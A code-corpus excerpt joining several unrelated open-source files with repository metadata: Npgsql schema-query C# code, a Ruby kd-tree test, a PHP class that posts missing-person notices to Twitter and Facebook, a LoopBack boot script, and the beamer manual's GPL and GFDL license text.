"SELECT table_catalog, table_schema, table_name, column_name, ordinal_position, column_default, is_nullable, udt_name AS data_type, character_maximum_length, character_octet_length, numeric_precision, numeric_precision_radix, numeric_scale, datetime_precision, character_set_catalog, character_set_schema, character_set_name, collation_catalog FROM information_schema.columns");
using (
NpgsqlCommand command =
BuildCommand(getColumns, restrictions, "table_catalog", "table_schema", "table_name", "column_name"))
{
using (NpgsqlDataAdapter adapter = new NpgsqlDataAdapter(command))
{
adapter.Fill(columns);
}
}
return columns;
}
/// <summary>
/// Returns the Views that contains view names and the database and schema they come from.
/// </summary>
/// <param name="restrictions">The restrictions to filter the collection.</param>
/// <returns>The Views</returns>
internal DataTable GetViews(string[] restrictions)
{
DataTable views = new DataTable("Views");
views.Columns.AddRange(
new DataColumn[]
{
new DataColumn("table_catalog"), new DataColumn("table_schema"), new DataColumn("table_name"),
new DataColumn("check_option"), new DataColumn("is_updatable")
});
StringBuilder getViews = new StringBuilder();
getViews.Append(
"SELECT table_catalog, table_schema, table_name, check_option, is_updatable FROM information_schema.views");
using (NpgsqlCommand command = BuildCommand(getViews, restrictions, "table_catalog", "table_schema", "table_name"))
{
using (NpgsqlDataAdapter adapter = new NpgsqlDataAdapter(command))
{
adapter.Fill(views);
}
}
return views;
}
/// <summary>
/// Returns the Users containing user names and the sysid of those users.
/// </summary>
/// <param name="restrictions">The restrictions to filter the collection.</param>
/// <returns>The Users.</returns>
internal DataTable GetUsers(string[] restrictions)
{
DataTable users = new DataTable("Users");
users.Columns.AddRange(new DataColumn[] {new DataColumn("user_name"), new DataColumn("user_sysid", typeof (int))});
StringBuilder getUsers = new StringBuilder();
getUsers.Append("SELECT usename as user_name, usesysid as user_sysid FROM pg_catalog.pg_user");
using (NpgsqlCommand command = BuildCommand(getUsers, restrictions, "usename"))
{
using (NpgsqlDataAdapter adapter = new NpgsqlDataAdapter(command))
{
adapter.Fill(users);
}
}
return users;
}
internal DataTable GetIndexes(string[] restrictions)
{
DataTable indexes = new DataTable("Indexes");
indexes.Columns.AddRange(
new DataColumn[]
{
new DataColumn("table_catalog"), new DataColumn("table_schema"), new DataColumn("table_name"),
new DataColumn("index_name")
});
StringBuilder getIndexes = new StringBuilder();
getIndexes.Append(
@"select current_database() as table_catalog,
n.nspname as table_schema,
t.relname as table_name,
i.relname as index_name
from
pg_catalog.pg_class i join
pg_catalog.pg_index ix ON ix.indexrelid = i.oid join
pg_catalog.pg_class t ON ix.indrelid = t.oid join
pg_attribute a on t.oid = a.attrelid left join
pg_catalog.pg_user u ON u.usesysid = i.relowner left join
pg_catalog.pg_namespace n ON n.oid = i.relnamespace
where
i.relkind = 'i'
and n.nspname not in ('pg_catalog', 'pg_toast')
and pg_catalog.pg_table_is_visible(i.oid)
and a.attnum = ANY(ix.indkey)
and t.relkind = 'r'");
using (
NpgsqlCommand command =
BuildCommand(getIndexes, restrictions, false, "table_catalog", "table_schema", "table_name", "index_name"))
{
using (NpgsqlDataAdapter adapter = new NpgsqlDataAdapter(command))
{
adapter.Fill(indexes);
}
}
return indexes;
}
internal DataTable GetIndexColumns(string[] restrictions)
{
DataTable indexColumns = new DataTable("IndexColumns");
indexColumns.Columns.AddRange(
new DataColumn[]
{
new DataColumn("table_catalog"), new DataColumn("table_schema"), new DataColumn("table_name"),
new DataColumn("index_name"), new DataColumn("column_name")
});
StringBuilder getIndexColumns = new StringBuilder();
getIndexColumns.Append(
@"select current_database() as table_catalog,
n.nspname as table_schema,
t.relname as table_name,
i.relname as index_name,
a.attname as column_name
from
pg_class t join
pg_index ix on t.oid = ix.indrelid join
pg_class i on ix.indexrelid = i.oid join
pg_attribute a on t.oid = a.attrelid left join
pg_namespace n on i.relnamespace = n.oid
where
i.relkind = 'i'
and n.nspname not in ('pg_catalog', 'pg_toast')
and pg_catalog.pg_table_is_visible(i.oid)
and a.attnum = ANY(ix.indkey)
and t.relkind = 'r'");
using (
NpgsqlCommand command =
BuildCommand(getIndexColumns, restrictions, false, "table_catalog", "table_schema", "table_name", "index_name", "column_name"))
{
using (NpgsqlDataAdapter adapter = new NpgsqlDataAdapter(command))
{
adapter.Fill(indexColumns);
}
}
return indexColumns;
}
internal static DataTable GetDataSourceInformation()
{
DataSet ds = new DataSet();
using (Stream xmlStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Npgsql.NpgsqlMetaData.xml"))
{
ds.ReadXml(xmlStream);
}
return ds.Tables["DataSourceInformation"].Copy();
}
}
}
|
anonymouskeyboard47/Tripodmaps
|
Npgsql2.0.11.src/Npgsql2.0.11.src/src/Npgsql/NpgsqlSchema.cs
|
C#
|
gpl-3.0
| 13,392 |
###############################################################################
###############################################################################
#
# This file is part of GeoGraph.
#
# Copyright (c) 2012 Algorithmica Srl
#
# GeoGraph is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# GeoGraph is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with GeoGraph. If not, see <http://www.gnu.org/licenses/>.
#
# Contact us via email at [email protected] or at
#
# Algorithmica Srl
# Largo Alfredo Oriani 12
# 00152 Rome, Italy
#
###############################################################################
###############################################################################
require './kd_tree'
def dist2 n1, n2
(n1[0] - n2[0]) ** 2 + (n1[1] - n2[1]) ** 2
end
kdt = KdTree.new(KdTree::SimpleNodeFactory.new(KdTree::ArrayNode), KdTree::ArraySamplePackager)
samples = []
100.times do
samples << [rand(0..100), rand(0..100)]
end
kdt.add_samples samples
query = [rand(0..100), rand(0..100)]
knn = kdt.knn query, 5, [ :unwrap_samples ]
puts "Query: #{query.inspect}"
knn.each do |n|
puts "KNN: #{n.inspect}, dist = #{dist2 n, query}"
end
samples.sort! { |n1, n2| dist2(n1, query) <=> dist2(n2, query) }
samples.each do |s|
puts "SAMPLE: #{s.inspect}, dist = #{dist2 s, query}"
end
|
algorithmica/geograph
|
lib/kd_tree_unit_test.rb
|
Ruby
|
gpl-3.0
| 1,782 |
<?php
error_reporting(~E_NOTICE);
include('autoload.php');
class SocialService // conecta o id do token ao id do desaparecido
{
private $tmodel, $dmodel;
public function conectar( $id_token, $id_desap )
{
$tvo = new TokenVO();
$dvo = new DesapVO();
$fvo = new FotoVO();
$tvo->id = $id_token;
$dvo->id = $id_desap;
$fvo->id_desap = $id_desap;
$this->tmodel = new TokenModel( $tvo );
$this->dmodel = new DesapModel( $dvo );
$fmodel = new FotoModel( $fvo );
$foto = $fmodel->resgatarPorDesap('foto', 0);
$dados_desap = $this->dmodel->resgatarDesap(0);
if( $dados_desap != false ) // usuário foi aprovado? se sim, continua...
{
$dados_desap['foto'] = $foto[0];
$dados_token = $this->tmodel->resgatar();
$msg = $this->gerarTexto( $dados_desap, $dados_token['servico'] );
switch( $dados_token['servico'] )
{ /*
case 'orkut':
$token = $dados_token['token'];
$this->espalharOrkut( $msg, $token );
break;*/
case 'twitter':
$token = unserialize( $dados_token['token'] );
$this->espalharTwitter( $msg, $token );
break;
case 'facebook':
$token = unserialize( $dados_token['token'] );
$this->espalharFacebook( $msg, $token );
break;
}
}
}
private function gerarTexto( $fetch, $servico )
{
$fetch['data_nasc'] = explode("-", $fetch['data_nasc']);
$fetch['data_nasc'] = $fetch['data_nasc'][2]."/".$fetch['data_nasc'][1]."/".$fetch['data_nasc'][0]; //formatting date
switch( $servico )
{ /*
case 'orkut':
$ret = array();
$ret[0] = "Projeto Lyla - Dê qualquer informação sobre:";
$ret[1] = "Nome:<a href=\"http://lyla.jotajunior.com/desaparecido.php?id=".$fetch['id']."\">".$fetch['nome']."</a><br />";
$ret[1] .= "Data de Nascimento: ".$fetch['data_nasc']." | Altura: ".$fetch['altura']." | Tipo físico: ".$fetch['tipo_fisico']." | Olhos: ".$fetch['cor_olhos']."<br />";
$ret[1] .= "Cidade: ".$fetch['cidade_desap']."-".$fetch['estado_desap']." | Contato: ".$fetch['contato']."<br />";
$ret[1] .= "Ajude famílias e propague a esperança! Junte-se ao <a href=\"lyla.jotajunior.com\">Projeto Lyla</a>.";
$ret[2] = $fetch['foto'];
break;*/
case 'facebook':
$ret = array();
$ret[0] = "Projeto Lyla - Dê qualquer informação sobre: \n";
$ret[0] .= "Nome: ".$fetch['nome']."\n";
$ret[0] .= "Data de Nascimento: ".$fetch['data_nasc']." | Altura: ".$fetch['altura']." | Tipo físico: ".$fetch['tipo_fisico']." | Olhos: ".$fetch['cor_olhos']."\n";
$ret[0] .= "Cidade: ".$fetch['cidade_desap']."-".$fetch['estado_desap']." | Contato: ".$fetch['contato']."\n";
$ret[0] .= "Link do desaparecido: ".$this->encurtarUrl("http://lyla.jotajunior.com/desaparecido.php?id=".$fetch['id']);
$ret[0] .= "\n\n Junte-se ao Projeto Lyla e propague a esperança!";
$ret[1] = $fetch['foto'];
break;
case 'twitter':
$ret = "#projetoLYLA | Desaparecido | ";
$ret .= "Nome: ".$fetch['nome']." | Cidade: ".$fetch['cidade_desap']."-".$fetch['estado_desap']." | Link: ".$this->encurtarUrl("http://lyla.jotajunior.com/desaparecido.php?id=".$fetch['id']);
break;
default:
throw new Exception("Houve um erro durante a geração da mensagem.");
break;
}
return $ret;
}
private function encurtarUrl( $url )
{
return file_get_contents('http://migre.me/api.txt?url='.trim( urlencode( $url ) ) );
}
public function espalharFacebook( $mensagem, $token )
{
return file_get_contents("https://graph.facebook.com/me/feed?access_token=".$token."&message=".urlencode( $mensagem[0] )."&method=post&picture=".urlencode($mensagem[1]));
}
private function espalharTwitter( $mensagem, $token )
{
$tmhOAuth = new tmhOAuth(array(
'consumer_key' => '2KRITU1tWD2tGrsSQRgx7Q',
'consumer_secret' => '',
'user_token' => $token['oauth_token'],
'user_secret' => $token['oauth_token_secret'],
));
return $tmhOAuth->request('POST', $tmhOAuth->url('1/statuses/update'), array(
'status' => $mensagem
));
}
}
|
jotajunior/lyla
|
v0/lib/socialservice.class.php
|
PHP
|
gpl-3.0
| 4,202 |
import { BootScript } from '@mean-expert/boot-script';
@BootScript()
class Root {
constructor(app: any) {
var router = app.loopback.Router();
router.get('/', app.loopback.status());
app.use(router);
}
}
module.exports = Root;
|
c0d3x42/fireloop-starter-1
|
fireloop/server/boot/root.ts
|
TypeScript
|
gpl-3.0
| 260 |
% Copyright 2003--2007 by Till Tantau
% Copyright 2010 by Vedran Mileti\'c
% Copyright 2015 by Vedran Mileti\'c, Joseph Wright
%
% This file may be distributed and/or modified
%
% 1. under the LaTeX Project Public License and/or
% 2. under the GNU Free Documentation License.
%
% See the file doc/licenses/LICENSE for more details.
\section{Licenses and Copyright}
\label{section-license}
\subsection{Which License Applies?}
Different parts of the \beamer\ package are distributed under different licenses:
\begin{enumerate}
\item
The \emph{code} of the package is dual-license. This means that you can decide which license you wish to use when using the \beamer\ package. The two options are:
\begin{enumerate}
\item
You can use the \textsc{gnu} General Public License, Version 2 or any later version published by the Free Software Foundation.
\item
You can use the \LaTeX\ Project Public License, version 1.3c or (at your option) any later version.
\end{enumerate}
\item
The \emph{documentation} of the package is also dual-license. Again, you can choose between two options:
\begin{enumerate}
\item
You can use the \textsc{gnu} Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation.
\item
You can use the \LaTeX\ Project Public License, version 1.3c or (at your option) any later version.
\end{enumerate}
\end{enumerate}
The ``documentation of the package'' refers to all files in the subdirectory |doc| of the \beamer\ package. A detailed listing can be found in the file |doc/licenses/manifest-documentation.txt|. All files in other directories are part of the ``code of the package.'' A detailed listing can be found in the file |doc/licenses/manifest-code.txt|.
In the rest of this section, the licenses are presented. The following text is copyrighted, see the plain text versions of these licenses in the directory |doc/licenses| for details.
\subsection{The GNU General Public License, Version 2}
\subsubsection{Preamble}
The licenses for most software are designed to take away your freedom to share and change it. By contrast, the \textsc{gnu} General Public License is intended to guarantee your freedom to share and change free software---to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the \textsc{gnu} Library General Public License instead.) You can apply it to your programs, too.
When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.
Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and modification follow.
\subsubsection{Terms and Conditions For Copying, Distribution and Modification}
\begin{enumerate}
\addtocounter{enumi}{-1}
\item
This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The ``Program'', below, refers to any such program or work, and a ``work based on the Program'' means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term ``modification''.) Each licensee is addressed as ``you''.
Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.
\item
You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.
You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
\item
You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:
\begin{enumerate}
\item
You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.
\item
You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.
\item
If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)
\end{enumerate}
These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.
In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
\item
You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:
\begin{enumerate}
\item
Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
\item
Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
\item
Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsubsection b above.)
\end{enumerate}
The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
\item
You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
\item
You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.
\item
Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
\item
If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.
This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
\item
If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
\item
The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and ``any later version'', you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation.
\item
If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.
\end{enumerate}
\subsubsection{No Warranty}
\begin{enumerate}
\addtocounter{enumi}{9}
\item
Because the program is licensed free of charge, there is no warranty for the program, to the extent permitted by applicable law. Except when otherwise stated in writing the copyright holders and/or other parties provide the program ``as is'' without warranty of any kind, either expressed or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose. The entire risk as to the quality and performance of the program is with you. Should the program prove defective, you assume the cost of all necessary servicing, repair or correction.
\item
In no event unless required by applicable law or agreed to in writing will any copyright holder, or any other party who may modify and/or redistribute the program as permitted above, be liable to you for damages, including any general, special, incidental or consequential damages arising out of the use or inability to use the program (including but not limited to loss of data or data being rendered inaccurate or losses sustained by you or third parties or a failure of the program to operate with any other programs), even if such holder or other party has been advised of the possibility of such damages.
\end{enumerate}
\subsection{The GNU Free Documentation License, Version 1.3, 3 November 2008}
\label{label_fdl}
\begin{quote}
\textbf{Copyright \copyright 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc.}
\url{http://fsf.org/}
Everyone is allowed to distribute verbatim copies of this license document, but modification of it is not allowed.
\end{quote}
\subsubsection{Preamble}
The purpose of this License is to make a manual, textbook, or other functional and useful document ``free'' in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
This License is a kind of ``copyleft'', which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
\subsubsection{Applicability and definitions}
This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The \textbf{``Document''}, below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as \textbf{``you''}. You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
A \textbf{``Modified Version''} of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
A \textbf{``Secondary Section''} is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
The \textbf{``Invariant Sections''} are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
The \textbf{``Cover Texts''} are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
A \textbf{``Transparent''} copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not ``Transparent'' is called \textbf{``Opaque''}.
Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
The \textbf{``Title Page''} means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, ``Title Page'' means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
The \textbf{``publisher''} means any person or entity that distributes copies of the Document to the public.
A section \textbf{``Entitled XYZ''} means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as \textbf{``Acknowledgements''}, \textbf{``Dedications''}, \textbf{``Endorsements''}, or \textbf{``History''}.) To \textbf{``Preserve the Title''} of such a section when you modify the Document means that it remains a section ``Entitled XYZ'' according to this definition.
The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
\subsubsection{Verbatim Copying}
You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
You may also lend copies, under the same conditions stated above, and you may publicly display copies.
\subsubsection{Copying in Quantity}
If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
\subsubsection{Modifications}
You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
\begin{itemize}
\item[A.]
Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
\item[B.]
List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
\item[C.]
State on the Title page the name of the publisher of the Modified Version, as the publisher.
\item[D.]
Preserve all the copyright notices of the Document.
\item[E.]
Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
\item[F.]
Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
\item[G.]
Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
\item[H.]
Include an unaltered copy of this License.
\item[I.]
Preserve the section Entitled ``History'', Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled ``History'' in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
\item[J.]
Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the ``History'' section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
\item[K.]
For any section Entitled ``Acknowledgements'' or ``Dedications'', Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
\item[L.]
Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
\item[M.]
Delete any section Entitled ``Endorsements''. Such a section may not be included in the Modified Version.
\item[N.]
Do not retitle any existing section to be Entitled ``Endorsements'' or to conflict in title with any Invariant Section.
\item[O.]
Preserve any Warranty Disclaimers.
\end{itemize}
If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
You may add a section Entitled ``Endorsements'', provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
\subsubsection{Combining Documents}
You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
In the combination, you must combine any sections Entitled ``History'' in the various original documents, forming one section Entitled ``History''; likewise combine any sections Entitled ``Acknowledgements'', and any sections Entitled ``Dedications''. You must delete all sections Entitled ``Endorsements''.
\subsubsection{Collection of Documents}
You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
\subsubsection{Aggregating with Independent Works}
